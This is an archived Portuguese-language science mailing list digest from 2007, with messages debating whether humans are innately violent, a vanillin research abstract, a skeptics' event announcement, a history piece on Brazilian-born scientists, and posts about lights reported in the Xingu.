> presença da mídia reforçando ou amplificando preconceitos )
>
>
> Na Palestina/Israel, há outro exemplo de ódio culturalmente criado e/ou
> amplificado. Mas nesse caso , trata-se de uma cultura criada pelo atrito
> contínuo gerado nos últimos 50 anos, no decorrer da história da região
> (desconfio que Ruanda tenha alguns elementos historicos parecidos). Antes
> desse desenvolvimjento pós 2ª guerra, era possível viver de maneira
> relativamente pacífica, na Palestina
>
> No caso do Iraque, uma cúpula, com um nº pequeno de pessoas, atendendo aos
> anseios de outro grupo, também ridiculamente pequeno, tomou a decisão de ir
> á guerra, mesmo com protesto de pelo menos metade da população americana
> (que não é, de maneira alguma, isenta da influência da mídia e do
> preconeito, mas já estava calejada com guerras estúpidas).
> Só foi possível ir á guerra porque outra parte da população, essa
> com grande nº de americanos,
>
> acreditava nas teorias preconceituosas divulgadas sem maiores questionamentos, pela mídia.
> Ou seja, mesmo o pouco apoio que essa guerra especificamente, teve, havia o elemento
>
> mídia/cultura envolvido.
>
> Enfim... acho que trata-se do desenvolvimento de situações explosivas, a
> partir de culturas envenenadas pelo preconceito , ambição, sede de poder..
> que por sua vez podem ser amplificados por centros de poder/mídia... e la
> nave va...
>
> Não acredito em genes da ruindade nos seres humanos. Mas acredito qeu há
> problemas sistêmicos que surgem em muitas sociedades, justamente por não
> seream analisados mais profundamente.
>
> Gil
>
> Homero: Não sei como vc tá de inglês, mas recomendo o documentário "Power
> of Nightmares" (
> http://www.youtube.com/watch?v=InW5vIc2xNQ&mode=related&search=),
> justamente sobre a imagem falsa que temos do terrorismo (termo que é usado
> de maneira completamente des-semantizada, nos dias atuais). Há legendas em
> português inclusive. Esse fenômeno, da maneira como nos é apresentado hoje
> pela mídia, é indissociável da história recente de vários países do oriente
> médio. Sem isso, o termo perde completamente a essência do problema, e vira
> uma imagem vazia, somente estética.
>
> Em 08/09/07, oraculo333 <oraculo@atibaia.com.br> escreveu:
> >
> > Olá Alvaro
> >
> > Alvaro: " Certo. Mas uma coisa é ser um animal moderadamente agressivo
> > que dispõe apenas de arcos e flechas, armas que exigem força, destreza
> > e treinamento.
> > Outra coisa é ser um animal moderadamente agressivo que dispõe de
> > metralhadoras e rifles automáticos, armas que exigem pouco para fazer
> > um grande estrago. "
> >
> > Tem toda razão, há uma enorme diferença em termos de capacidade de
> > dano quando se dispõe de tecnologia avançada. Um psicopata assassino
> > entre indivíduos de boa índole, em uma sociedade primitiva, tinha
> > alcance limitado, e seria abatido antes de causar danos extensos.
> > Mesmo que conseguisse cometer dezenas de assassinatos, não seria
> > relevante para o grupo como um todo.
> >
> > Mas um psicopata com tecnologia, bombas e terroristas por exemplo,
> > causam dano gigantescos, que podem inclusive causar uma ruptura
> > impossível de ser reparada.
> >
> > Eu não estava, entretanto, e penso que o Kentaro também não,
> > discordando dessa situação concreta, mas sim da posição recorrente
> > sobre a natureza daninha do ser humano, da alegação que a crueldade e
> > violência seriam parte da natureza humana.
> >
> > O fato de que pessoas cruéis e violentas causem enorme dano a partir
> > das capacidades tecnológicas atuais, não significa que seja um
> > comportamento padrão ou mesmo natural. Me parece que há mais gente
> > tentando ajudar, em ONGs, em organizações como médicos sem fronteira,
> > cruz vermelha, doações para países pobres, etc, que terroristas.
> >
> > Claro que uma ação terrorista tem muito mais chance de aparecer com
> > destaque na mídia, que os trabalhos diários dos médicos sem fronteira
> > e claro que nós também sofremos mais e prestamos mais atenção a esses
> > atos terroristas que as ações benéfica. Afinal, é da natureza humana
> > ser assim..:-)
> >
> > Será sempre mais fácil encontrar que se disponha a ajudar a arrecadar
> > alimentos para um orfanato, que quem se disponha a ir assaltar um
> > mercado com você, mas o assalto será sempre mais impactante, e mais
> > emocionalmente significativo que a ajuda ao orfanato.
> >
> > Penso que a civilização atual só se tornou possível porque é assim,
> > porque a natureza humana é solidária, gregária, grupal. Se fossemos
> > diferentes, se o egoísmo fosse a norma, não teria sido possível
> > avançar das tribos ancestrais, inimigas e sempre em conflito por
> > território e alimentos, até um tempo onde uma idéia como a ONU, as
> > nações unidas, fosse possível. Sim, eu sei que a ONU ainda não tem
> > significancia real ou ampla, mas a simples existência desta idéia, de
> > uma unidade entre povos e sociedades humanas, só pode surgir se a
> > grande maioria das pessoas a aceitar de bom grado.
> >
> > Um abraço.
> >
> > Homero
> >
> >
> >
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, "Alvaro Augusto \(L\)"
> > <alvaro@...> escreveu
> > >
> > > Certo. Mas uma coisa é ser um animal moderadamente agressivo que
> > dispõe
> > > apenas de arcos e flechas, armas que exigem força, destreza e
> > treinamento.
> > > Outra coisa é ser um animal moderadamente agressivo que dispõe de
> > > metralhadoras e rifles automáticos, armas que exigem pouco para
> > fazer um
> > > grande estrago. E o que acontece quando uma sociedade que dispõe de
> > armas de
> > > fogo tem seu tecido social repentinamente rompido? Resposta: Ruanda.
> > > Resultado: 1 milhão de mortos em um país de pouco menos de 7 milhões
> > de
> > > habitantes, à época. Assassinato suficiente para mim.
> > >
> > > [ ]s
> > >
> > > Alvaro Augusto de Almeida
> > > http://www.alvaroaugusto.com.br
> > > alvaro@...
> > >
> > >
> > >
> > >
> > >
> > > ----- Original Message -----
> > > From: "oraculo333" <oraculo@...>
> > > To: <ciencialist@yahoogrupos.com.br >
> > > Sent: Saturday, September 08, 2007 2:07 AM
> > > Subject: [ciencialist] Re: O ser humano é uma besta quadrada
> > >
> > >
> > > Olá pessoal
> > >
> > > Kentaro: "O Mito do Homem Assassino
> > > > Um dos erros mais perigosos de nosso tempo é a crença de que os
> > seres
> > > > humanos são animais unicamente violentos, escassamente contidos de
> > > > cometer atrocidades uns aos outros pelas restrições da ética, da
> > > > religião e do estado. Pode parecer estranho a alguns contrariar isto
> > > > dado o fluxo aparentemente incessante de relatos de atrocidades da
> > > > Bósnia, Somália, Líbano e Los Angeles que nós recebemos diariamente.
> >
> > > > Mas, na realidade, um pequeno estudo de etologia animal (e alguma
> > > > aplicação de métodos etológicos no comportamento humano) basta para
> > > > mostrar à mente imparcial que os seres humanos não são animais
> > > > especialmente violentos."
> > >
> > > Mais ainda, bastaria um simples exame estatístico dos atos violentos
> > > versus atos não violentos em nossa vida diária. Por exemplo,
> > > recentemente em minha cidade foi noticia durante quase um mês o
> > > assassinato de uma criança pelo padastro (um criminoso reincidente).
> > >
> > > Esse ato violento chegou na mídia imediatamente e se manteve por algum
> > > tempo, provocando a revolta da cidade. Entretanto, o fato de que os
> > > mais de 100 mil habitantes da cidade NÃO cometeram nenhum ato de
> > > violência desse tipo contra crianças, em décadas, não tem a menor
> > > chance de aparecer na mídia.
> > >
> > > Até mesmo o fato de que o ato de violência choca a maioria das
> > > pessoas, demonstra que a maioria das pessoas não se sente bem com atos
> > > de violência.
> > >
> > > Não estou diminuindo a importância desses atos, mas apenas notando que
> > > mesmo no Iraque o número de pessoas que morre em atentados é
> > > absurdamente menor do que o número de pessoas que vive suas vidas sem
> > > problemas. É justamente o fato de que nos outros países não se morre
> > > em atentados diários que torna o Iraque uma notícia triste, mas não
> > > representa uma evidência da maldade natural ou inevitável do ser
> > humano.
> > >
> > > Evolutivamente, nosso comportamento tende a seguir o padrão de animais
> > > gregários, a colaboração e o cuidado com outros do mesmo grupo.
> > > Tendemos a ajudar, agir em grupo, e construir com ajuda do grupo, seja
> > > em uma caçada coletiva, seja na formação das sociedades.
> > >
> > > Um abraço.
> > >
> > > Homero.
> > >
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SUBJECT: P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 09:16

--- Em ciencialist@yahoogrupos.com.br, Gil <nanolink01@...> escreveu

> Não acredito em genes da ruindade nos seres humanos.

Manuel: Fala-se muito que o homem, ao contrário dos outros animais,
mata por prazer.

Mas é só ver o comportamento agonístico de alguns peixes e aves: o
ganso-greylag (Anser anser), o ídolo-mouro (Zanclus canescens), o
peixe lutador siamês (Betta splendens), o peixe-jóia (Microspathodon
chrysurus) entre outros. Nesses animais a agressão intra-específica
se expressa como "comportamento apetitivo" (expressão cunhada por
Wallace Craig no ensaio "Appetites an aversions as constituents of
instinct" – 1918). "Apetitivo" porque o indivíduo
busca "deliberadamente" o estímulo – i.e., o Outro – cuja resposta
será a luta: apetite para encontros agonísticos, enfim.

[]s
Manuel Bulcão





SUBJECT: RES: [ciencialist] P/ Alvaro - Re: O ser humano é uma besta quadrada
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/09/2007 12:58

Gil,

Gil: “Enfim... acho que trata-se do desenvolvimento de situações
explosivas, a
partir de culturas envenenadas pelo preconceito , ambição, sede de poder..
que por sua vez podem ser amplificados por centros de poder/mídia... e la
nave va...
Não acredito em genes da ruindade nos seres humanos. Mas acredito qeu há
problemas sistêmicos que surgem em muitas sociedades, ..“

Victor: Em minha opinião, o que você expressou acima é o que, em verdade,
acaba se cumprindo.

É o cerne da questão.

O resto são desculpas para justificar o injustificável.

Sds,

Victor.




[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: REVISÃO SOBRE ROTAS SINTÉTICAS E BIOTECNOLÓGICAS PARA PRODUÇÃO DE VANILINA
FROM: "Luis" <luis.alcides@he.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 14:19

Este resumo foi extraído do artigo completo que esta disponível em
www.periodico.tchequimica.com ou através do link a seguir
<http://www.deboni.he.com.br/ccount/click.php?id=49>. Convidamos aos
colegas que tiverem interesse em ler o artigo na integra que efetuem o
download da revista.

Autores: PACHECO, Sabrina Moro Villela; JUNIOR, Agenor Furigo;
MORGADO, Ayres Ferreira;

Universidade Federal de Santa Catarina, Centro Tecnológico,
Departamento de Engenharia Química, Campus Universitário, Trindade,
cep 88040-900, Florianópolis – SC, Brasil


RESUMO

A vanilina (aroma de baunilha) é um dos compostos aromáticos mais
utilizados nas indústrias farmacêuticas e de alimentos. A vanilina
natural pode ser obtida de uma orquídea, a Vanilla planifolia. No
entanto, o processo de extração é lento e de custo elevado. Dessa
forma, rotas para a obtenção de vanilina sintética passaram a ser
adotadas, utilizando-se substratos como o eugenol e o licor negro
(rejeito produzido pelas indústrias de papel e celulose). No entanto,
devido ao grande volume de rejeitos produzidos através das rotas
citadas, a partir da década de 70, passou-se a produzir vanilina
utilizando-se o catecol e o guaiacol, oriundos da indústria
petroquímica. O uso de substratos originários de fontes não renováveis
e o aumento do consumo de produtos naturais impulsionaram nos últimos
anos o estudo de novas rotas para a produção de vanilina através de
processos biotecnológicos. Quando a vanilina é produzida através
desses processos, é considerada como um produto natural, sendo esse
fator importante, pois, eleva seu custo e sua procura no mercado.
Considerando isso, o objetivo desta revisão foi abordar as diversas
rotas sintéticas e, principalmente as biotecnológicas, que vêm sendo
intensamente investigadas, e que utilizam microrganismos e enzimas.


Palavras-chave: Vanilina, biotecnologia, rotas de produção.


ABSTRACT

The vanillin (vanilla aroma) it is one of the aromatic compositions
more used in the pharmaceutical industries and of foods. The natural
vanillin can be gotten of a orchid, the Vanilla planifolia. However,
the extraction process is slow and of high cost. Of this form, routes
for the attainment of synthetic vanillin had passed to be adopted,
using substrata as eugenol and the black liquor (I reject produced by
the industries of paper and cellulose). However, had to the great
volume of rejects produced through the cited routes, from the decade
of 70, was transferred to produce it vanillin using itself catechol
and guaiacol, deriving of the petrochemical industry. The originary
substratum use of sources you did not renew and the increase of the
consumption of natural products had in recent years stimulated the
study of new routes for the production of vanillin through
biotechnological processes. When the vanillin is produced through
these processes, is considered as a natural product being this
important factor, therefore, raises its cost and its search in the
market. Considering this, the objective of this revision it was to
approach the diverse synthetic routes and biotechnological routes,
that come being intensely investigated, and that they use
microorganisms and deriving enzymes of the same ones.

Keywords: Vanillin, biotechnology, black liquor, review.




SUBJECT: Res: [ciencialist] Site "Feira de Ciências"
FROM: Aline Santos <haline_santos@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 15:02

Então o site não vai mais sair fora do ar????
Que maravilha!!!!!!!! è bom saber que entre os turbilhões de acontecimentos do dia-a-dia existem pessoas que sabem valorizar o que é bom

Abraços

ALine


----- Mensagem original ----
De: Paulo Marcelo Pontes <pmarcelopontes@gmail.com>
Para: ciencialist@yahoogrupos.com.br
Enviadas: Sábado, 8 de Setembro de 2007 13:36:36
Assunto: [ciencialist] Site "Feira de Ciências"


----- Original Message -----
From: <pavao@ufpe.br>
To: <leobarretos@uol.com.br>
Cc: "Paulo Marcelo Pontes" <pmarcelopontes@gmail.com>; "Quimica"
<quimica@espacociencia.pe.gov.br>
Sent: Saturday, September 08, 2007 11:17 AM
Subject: Re: Site "Feira de Ciências"


> Prof. Léo,
>
> Teremmos o maior prazer em hospedar o site Feria de Ciências tanto no
> Espaço Ciência como na ABCMC (talvez seja melhor aqui). Também posso
> avaliar a possibilidade de hospedá-lo no próprio site do MEC.
>
> Um abraço
>
>
>> Olá, Pavão e Cristiano.
>>
>> Não sei se já conhecem o site Feria de Ciências, uma importante
>> ferramenta
>> que auxilia na produção desses eventos, através da disponibilização de
>> vários experimentos, tudo disponibilizado gratuitamente pelo professor
>> Léo.
>> Acontece que o site está ameaçado de sair do ar, pois o servidor que o
>> hospedava não tem mais interesse no "Feira de Ciências" e o professor Léo
>> ainda não sabe o que acontecerá com o site.
>> Não seria possível que o Espaço Ciência ou outro órgão público se
>> responsabilidade pela hospedagem do site? A Associação Brasileira de
>> Museus Científicos não poderia fazer nada para contribuir com essa
>> lamentável situação, Pavão?
>>
>> O e-mail de contato do professor Léo é leobarretos@uol.com.br e o
>> endereço
>> do site (que ainda funciona, não sei até quando) é o
>> www.feiradeciencias.com.br
>>
>> Agradeço a atenção,
>>
>> PAULO MARCELO PONTES
>
>
>
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> O Webmail da UFPE esta de cara nova.
> Serviço oferecido pelo Núcleo de Tecnologia da Informação
> http://www.nti.ufpe.br/
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SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 16:20

Estudantes têm desconto:
R$ 30,00 (para pagamento antecipado) ou R$ 45,00 (para pagamento no
dia do evento).

Para os demais:
R$ 45,00 (para pagamento antecipado) ou R$ 60,00 (para pagamento no
dia do evento).

[]s,

Roberto Takata

--- Em ciencialist@yahoogrupos.com.br, "rmtakata" <roberto.takata@...>
> A disciplina de Metodologia Científica do curso de Geociências e
> Educação Ambiental do Instituto de Geociências da USP e a Sociedade
> Brasileira de Céticos e Racionalistas realizarão a I Jornada em
> Defesa do Pensamento Científico.
>
> Abaixo mais detalhes e a programação:
> -----------------
> Data: 18 de setembro (terça-feira)
> Local: IGc/USP - R. do Lago, 562 - Cid. Universitária - Butantã - São
> Paulo - SP
>
> Programação:
> 09h10 a 09h30: Abertura Prof. Drs. Arlei Benedito Macedo (USP) e
> Renato Sabbatini (Unicamp).
> 09h40 a 10h20: Analfabetismo científico, Prof. Dr. Renato Sabbatini
> (Unicamp).
> 10h20 a 10h40: Café.
> 10h40 a 11h20: Criacionismo, Prof. Dr. Mário de Pinna (USP).
> 11h30 a 12h10: Como vender o pensamento não-científico, Prof. Dr.
> Francisco Stefano Wechsler (UNESP)
> 12h10 a 14h00: Almoço.
> 14h00 a 14h40: Sensacionalismo e Jornalismo Científico, - Ulisses
> Capozzoli - Astronomy Brasil).
> 14h50 a 15h30: Pensamento Crítico - Panorama da América Latina - Sr.
> Alejandro J. Borgo (Pensar - CFI/Argentina)
> 15h30 a 15h50: Café
> 15h50 a 16h30: A defesa do pensamento científico nas universidades e
> centros de pesquisa (mesa-redonda).
> 16h40 a 17h10: Resultados preliminares da pesquisa sobre
> Pseudociências (alunos do LIGEA)
> 19h00 a 19h40: Ilusões e equívocos do pensamento humano, - Dr. Sérgio
> Navega - (Intelliwise Research and Training).
> 19h40 a 20h00: Sumário e encerramento, - Prof. Dr. Francisco Stefano
> Wechsler - UNESP).
>
> Taxa de inscrição: R$ 60,00
> Mais informações: palestrasreflexoes2007@...
> -------------
>
> []s,
>
> Roberto Takata
>




SUBJECT: Alguns dos melhores cientistas portugueses são brasileiros
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/09/2007 16:36


Achei o título um pouco exagerado, mas a fonte é insuspeita: o blog "De Rerum Natura".

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


ALGUNS DOS MELHORES CIENTISTAS PORTUGUESES SÃO BRASILEIROS
http://dererummundi.blogspot.com/2007/09/alguns-dos-melhores-cientistas.html

Este artigo, no ano em que se comemoram os 200 anos da mudança da corte portuguesa para o Brasil, é dedicado aos nossos leitores desse país, que são cada vez em maior número.

Quando se fala de países da Lusofonia, isto é, do grande espaço da língua portuguesa (e o Acordo Ortográfico está aí de novo!), é forçoso referir o maior deles todos - o Brasil. A partir de Setembro de 1822, o Brasil seguiu o seu próprio caminho ("Dizei ao povo que fico" disse D. Pedro I do Brasil, quando tomou a sua decisão histórica). Poucos devem ter sido os países que começaram dessa forma, com o reino-pai a dar pacificamente a independência ao reino-filho. Assim, os livros de história brasileira têm logo no início uma parte de história que é também portuguesa.

Antes da independência do Brasil, o território brasileiro integrava um vasto império com a capital em Lisboa (a capital foi durante alguns anos no Rio de Janeiro). A única universidade do império era a de Coimbra. Os espanhóis, em contraste, souberam promover escolas superiores em terras de além-mar. Havia, portanto que vir do ultramar à "alma mater", na cidade do Mondego, quando se pretendia obter um curso superior. Pela universidade de Coimbra passaram então alguns brasileiros, que ganharam justa fama na ciência. Portugal não se pode orgulhar de ter tido muitos cientistas notáveis à escala mundial. Mas, alguns dos maiores cientistas portugueses são brasileiros, isto é, nasceram em terra brasileira antes da independência, tendo estudado e trabalhado na metrópole. Alguns deles voltaram mais tarde à sua terra. Passemos em revista alguns - há mais! - dos protagonistas mais famosos da ciência luso-brasileira dos séculos XVIII e XIX: um pioneiro das viagens em balão, um explorador-naturalista e um mineralogista-metalurgista. Todos eles conseguiram ir mais longe: mais acima. mais além, mais fundo.

Bartolomeu de Gusmão

Quem entrar na zona de partidas do aeroporto de Lisboa, eventualmente para ir de Lisboa até ao Rio de Janeiro ou São Paulo, encontrará um grande painel de azulejos dedicado ao Padre Bartolomeu Lourenço de Gusmão (1685-1724), o "Padre Voador" (ver imagem) e criador da "Passarola". Ora, esse padre nasceu em Santos, no estado de São Paulo, no Brasil. Ficou famosa a sua experiência realizada no paço real de D. João V sobre a elevação no ar de um aeróstato. Será pura lenda que tenha construído e viado na "Passarola". Mas o certo é que passou pela Universidade de Coimbra. E que morreu relativamente novo, no exílio (fugindo à Inquisição), tendo sido sepultado na cidade espanhola de Toledo.

Rómulo de Carvalho reclama para Gusmão a invenção dos balões e tem provavelmente razão:


"Sem forçarmos a nota de patriotisamo podemos afirmar que Bartolomeu de Gusmão foi o inventor dos aeróstatos. Não há dúvida nenhuma sobre a efectivação das suas experiências em Lisboa, durante as quais fez subir, no ar, alguns balões feitos de arames, papel grosso e madeira fina. Também não há dúvida de que se serviu do fogo para os faszer subir. Seriam, portanto, balões de ar quente."

Só muitos anos depois se voou em balão, mas a ideia e o protótipo remontam a Gusmão.

Alexandre Ferreira

Há anos esteve exposta na Universuidade de Coimbra (e também foi mostrada no Mosteiro dos Jerónimos, em Lisboa) uma notável exposição de máscaras da Amazónia, que pertencem ao Museu de Antropologia de Coimbra (hoje integrado no Museu da Ciência da Universidade). Essas máscaras, belíssimas, foram recolhidas numa "viagem filosófica" feita na vasta floresta amazónica entre 1783 e 1792 pelo naturalista Alexandre Rodrigues Ferrreira (1756-1813). Ora Alexandre Ferreira era brasileiro, nascido em São Salvador da Baía. Estudou em Portugal, na Universidade de Coimnbra, onde foi fortemente influenciado pelo naturalista italiano Domingos Vandelli, que tinha sido contratado para lente de Filosofia Natural pelo marquês de Pombal, no quadro da chamada Reforma Pombalina (iniciada em 1772 com a criação das Faculdades de Filosofia e de Matemática). Depois ocupou um lugar no Jardim Botânico da Ajuda, de onde partiu em expedição à sua terra-natal. A viagem na Amazónia, longa e atribulada, foi um dos empreendimentos mais notáveis que os portugueses protagonizaram no Brasil. Os desenhos dos "riscadores" José Joaquim Freire e Joaquim José Codima são verdadeiramente notáveis. Vandelli tinha solicitado ao rei que, na expedição, que inicialmente se previa que integrasse apenas matemátios para efectuar "demarcações" (chamar-lhes-íamos hoje engenheiros-geógrafos) "se fizesse completa pela associação de alguns Filósofos Naturalistas e de um Desenhador, os quais tendo nessas ciências feito um curso teórico e prático, sem se distraírem com outras aplicações, pudessem fazer com que Portugal não invejasse aos estrangeiros uma glória, para a qual se apresenta uma tão bela ocasião."

O resultado - relatos, desenhos e objectos - da viagem de descoberta faz hoje parte da ciência luso-brasileira e faz as invejas dos estrangeiros...

José Bonifácio de Andrada e Silva

Quem subir pela escadaria principal do Colégio de Jesus, um edifício reformulado pelo Marquês de Pombal, na Universidade de Coimbra (no largo que hoje tem o nome de Marquês e onde se pode visitar o Museu de Ciência), encontrará no primeiro andar a entrada para o Departamento de Ciências da Terra da Faculdade de Ciências e Tecnologia da Universidade de Coimbra. Nele pode visitar o Museu de Mineralogia e Geologia (hoje também parte do Museu de Ciência), onde sobressai uma notável colecção de minerais que tem o nome de José Bonifácio de Andrada e Silva (1763-1838). Ora José Bonifácio era, tal como Gusmão, natural de Santos, no Brasil. Estudou em França, viajou pela Europa (descobriu o mineral do lítio) e chegou a lente de Metalurgia e Hidráulica da Universidade de Coimbra. Hoje, no Laboratório Chimico que constitui a sede do Museu de Ciência, encontra-se um forno metalúrgico que deve ter sido usado por ele. Na parte final da sua vida regressou à sua terra, onde foi contemporâneo dos primeiros tempos da independência do Brasil (tomou até parte activa no processo). O sábio, numa sessão da Academia de Ciências de Lisboa, interrogava-se "se porventura podem os usos caseiros e a lição dos livros excitar com a mesma força os nossos sentidos e engravidarmo-nos a mente, como faz a intuição de mil objectos novos", respondendo ele próprio, com convicção, que "não, por certo, senhores. A alma do viajante observador dilata-se, extasia-se a cada passo que dá pelo universo. Outras leis, outros costumes, outros céus, outras línguas, outra indústrias e produções excitam de contínuo a sua atenção e fecundam-lhe o espírito com mil ideias, novas e atrevidas".

Ora aqui temos uma afirmação que ilustra bem o método científico: A observação fecunda o espírito!

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RE: [ciencialist] Re: I Jornada em Defesa do Pensamento Científico
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 10/09/2007 22:21


Estou convencido de que se existe uma coisa que não necessita ser defendida, essa coisa é o ''pensamento científico'' atual!
Nada mais cético, estável e travado do que o pensamento dos ''notáveis''.
Fiquem tranquilos... Até parecem inseguros...
De quem vcs têm medo? Das novas ou das antigas religões?
Vcs têm medo de decobrirem um tipo de alma dentro de vcs mesmos? Sem perigo nenhum... sua gnose é só na hora H, além da hipótese de qualquer relatório retrospectivo...
Ora... vamos lá! Fiquem na sua! Nada pra preocupar.
Boa sorte!
[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 10/09/2007 22:30

--- Em ciencialist@yahoogrupos.com.br, murilo filo <avalanchedrive@...>
> Fiquem tranquilos... Até parecem inseguros...

Não tem como ficarmos tranqüilos qdo nossa população apresenta níveis
risíveis de alfabetização científica.

E não estamos inseguros. Estamos perfeitamente seguros q de o país
continuará atrasado se não melhorarmos isso.

> De quem vcs têm medo? Das novas ou das antigas religões?

Religião? Onde vc leu religião no anúncio?

[]s,

Roberto Takata



SUBJECT: Luzes no Xingu
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/09/2007 01:40

Luzes no Xingu <http://www.ceticismoaberto.com/news/?p=976>

Assista ao v�deo <http://www.ceticismoaberto.com/news/?p=976>

Partilhado por Carlos Airton, trecho extra�do do document�rio de Washington
Novaes sobre os �ndios do Xingu<http://www.opaidegua.com/blogaodochibe/?p=71>,
"Medicina, Magia e Feiti�aria" (1984), reprisado pela TV Cultura e TVE Rede
Brasil neste domingo. Aqui, dois �ndios relatam avistamentos de fen�menos
luminosos no c�u que � primeira vista parecem compat�veis com fogos
f�tuos<http://marcianitosverdes.haaan.com/2006/12/fuegos-fatuos-primera-parte/>(em
portugu�s, Wikipedia <http://pt.wikipedia.org/wiki/Fogo_f%C3%A1tuo>).
Destaque para o "pu� mer�" ao final [image: :-)]

Confira tamb�m o clipe sobre rel�mpagos
globulares<http://www.youtube.com/watch?v=gt1A01V2D2Y>,
uma outra poss�vel explica��o aos fen�menos vistos pelos ind�genas,
partilhado pelo mesmo Airton no Youtube.
Veja tamb�m

- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=341>Luzes no Mar do Jap�o
Outras dessas imagens tomadas pelo �nibus espacia...
- <$BlogItemSubject$> <http://www.ceticismoaberto.com/news/?p=380> O
Dia do Contato Final Senhoras e senhores, o dia do contato final chegou...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=159>Papai Noel OVNI Reveladora
fotografia de Raul Garza. Se o link acima n�o...
- <$BlogItemSubject$>
<http://www.ceticismoaberto.com/news/?p=319>Mosquitos fosforescentes?
N�o, corujas com fungos fosforescentes. O padr...
- Luzes de terremotos no
Peru?<http://www.ceticismoaberto.com/news/?p=952>Diversos relatos de
luzes no c�u antes, durante e depois dos terrem...

Postado em Curiosidades <http://www.ceticismoaberto.com/news/?cat=7>,
Fortianismo <http://www.ceticismoaberto.com/news/?cat=4>,
Ufologia<http://www.ceticismoaberto.com/news/?cat=2>| Por Mori
Comente!
� <http://www.ceticismoaberto.com/news/?p=976#respond>


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: SciVee: método científico na Web 2.0
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/09/2007 01:41

SciVee: m�todo cient�fico na Web 2.0 <http://100nexos.com/arquivo/277>

<http://www.scivee.tv/>
O novo s�tio SciVee <http://www.scivee.tv/> est� sendo descrito como um
"Youtube cient�fico", mas diferente de outras iniciativas t�o louv�veis,
oferece �timos Pubcasts <http://www.scivee.tv/browse_pubcast>: p�ginas
combinando papers publicados em peri�dicos cient�ficos, v�deo e narra��o,
oferecendo uma profundidade de informa��es incr�vel. � t�o bom ou mesmo
melhor que assistir a uma palestra, j� que se pode acompanhar o paper
original, pausar, voltar, avan�ar� Confira, por exemplo, este pubcast sobre
uma pesquisa recente e fascinante sobre o funcionamento do c�rebro das
moscas <http://www.scivee.tv/node/726>, comentado pela m�dia popular
como provando
que moscas teriam livre
arb�trio<http://g1.globo.com/Noticias/Ciencia/0,,MUL37082-5603,00.html>
[image:
:-)]


"Descartes reencarnado: 'Eu reajo a est�mulos externos, logo existo!'"
Infelizmente, e como seria de se esperar, � exclusivamente em iingl�s, mas �
uma boa demonstra��o do futuro da ci�ncia: o site � claramente voltado a
cientistas, embora tamb�m seja acess�vel a leigos entusiasmados como o autor
que escreve aqui. O site � apoiado por organiza��es luminares como a *National
Science Foundation* e a *Public Library of Science*.


[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Asteróide em rota de colisão com seu cérebro
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, UFO_PORTUGAL@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 11/09/2007 01:43

Aster�ide em rota de colis�o com seu c�rebro<http://100nexos.com/arquivo/276>

<http://www.clicrbs.com.br/jornais/dc/jsp/default2.jsp?uf=1&local=1&edition=8402&template=&start=1&section=Geral&source=Busca%2Ca1611317.xml&channel=22&id=&titanterior=&content=&menu=36&themeid=&sectionid=&suppid=&fromdate=&todate=&modovisual>
Preciso colar aqui a nota inteira publicada pelo Di�rio Catarinense na se��o
de Ci�ncia e Tecnologia<http://www.clicrbs.com.br/jornais/dc/jsp/default2.jsp?uf=1&local=1&edition=8402&template=&start=1&section=Geral&source=Busca%2Ca1611317.xml&channel=22&id=&titanterior=&content=&menu=36&themeid=&sectionid=&suppid=&fromdate=&todate=&modovisual>,
para m�ximo impacto. Grifos adicionados:

"*Um aster�ide est� em rota de colis�o com a Terra. Impacto previsto para
2036*. H� um concurso, promovido pela Ag�ncia Espacial Norte-Americana,
oferecendo US$ 50 mil para quem encontrar um meio de evitar o choque. Mais
do que a quest�o financeira, � uma oportunidade para testar seus
conhecimentos. � assim que o espanhol C�sar Bentancurt encara o desafio. H�
tr�s anos morando em S�o Bento do Sul, agora est� em busca de parceiros
brasileiros para auxiliar suas pesquisas.
Formado em Medicina, especializou-se em Engenharia Gen�tica. Mas sua paix�o
